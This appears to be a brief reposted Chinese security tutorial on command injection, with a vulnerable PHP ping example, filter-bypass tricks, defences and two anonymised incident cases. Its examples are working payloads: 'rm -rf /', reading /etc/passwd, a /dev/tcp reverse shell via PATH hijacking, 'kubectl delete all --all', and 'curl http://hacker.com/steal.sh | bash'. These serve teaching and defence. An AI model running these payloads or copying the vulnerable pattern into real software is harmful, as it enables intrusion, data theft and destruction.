命令注入(Command Injection) 是攻击者通过篡改用户输入参数,将恶意命令“拼接”到应用程序的系统调用中,从而直接控制服务器操作系统。
高危场景:
- 网站调用ping、nslookup等网络工具。
- 后台执行系统命令(如文件处理、数据备份)。
攻击流程:
- 用户可控制输入参数。
- 拼接系统命令。
- 操作系统执行。
- 服务器沦陷。
漏洞代码示例(PHP):
$ip = $_GET['ip'];
system("ping -c 4 " . $ip);
攻击者可输入 8.8.8.8; rm -rf /
基础分隔符
开发者过滤了空格和常见分隔符时
- 用${IFS}替代空格(Linux):8.8.8.8;cat${IFS}/etc/passwd。
- 利用重定向符号<>(Windows):ping 1.1.1.1 & type<C:Windowswin.ini。
- 十六进制编码绕过:echo "7265626f6f74" | xxd -r -p | bash
利用PATH环境变量劫持
- export PATH=/tmp:$PATH
- echo "/bin/bash -i >& /dev/tcp/1.1.1.1/4444 0>&1" > /tmp/ls
- chmod +x /tmp/ls
当程序调用ls时,触发反弹Shell
- 禁用危险函数。
- 使用API替代系统调用。
- 输入校验:白名单校验、危险字符过滤、后端做长度限制。
- 最小权限与沙箱。
某云平台漏洞
- 漏洞点:Kubernetes管理界面未过滤kubectl参数
- 攻击Payload:
cluster=prod; kubectl delete all --all
- 后果:删除了生产环境所有容器,导致全球服务中断6小时
某电商平台漏洞
- 漏洞点:订单导出功能调用系统zip命令
- 攻击Payload:
order_id=123;curl http://hacker.com/steal.sh | bash
- 后果:攻击者窃取百万用户数据库,勒索企业支付比特币
如何通过命令注入漏洞横向移动到内网数据库服务器?
《网安60秒丨反序列化漏洞》
原文始发于微信公众号(小白学安全):网安60秒丨命令注入
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论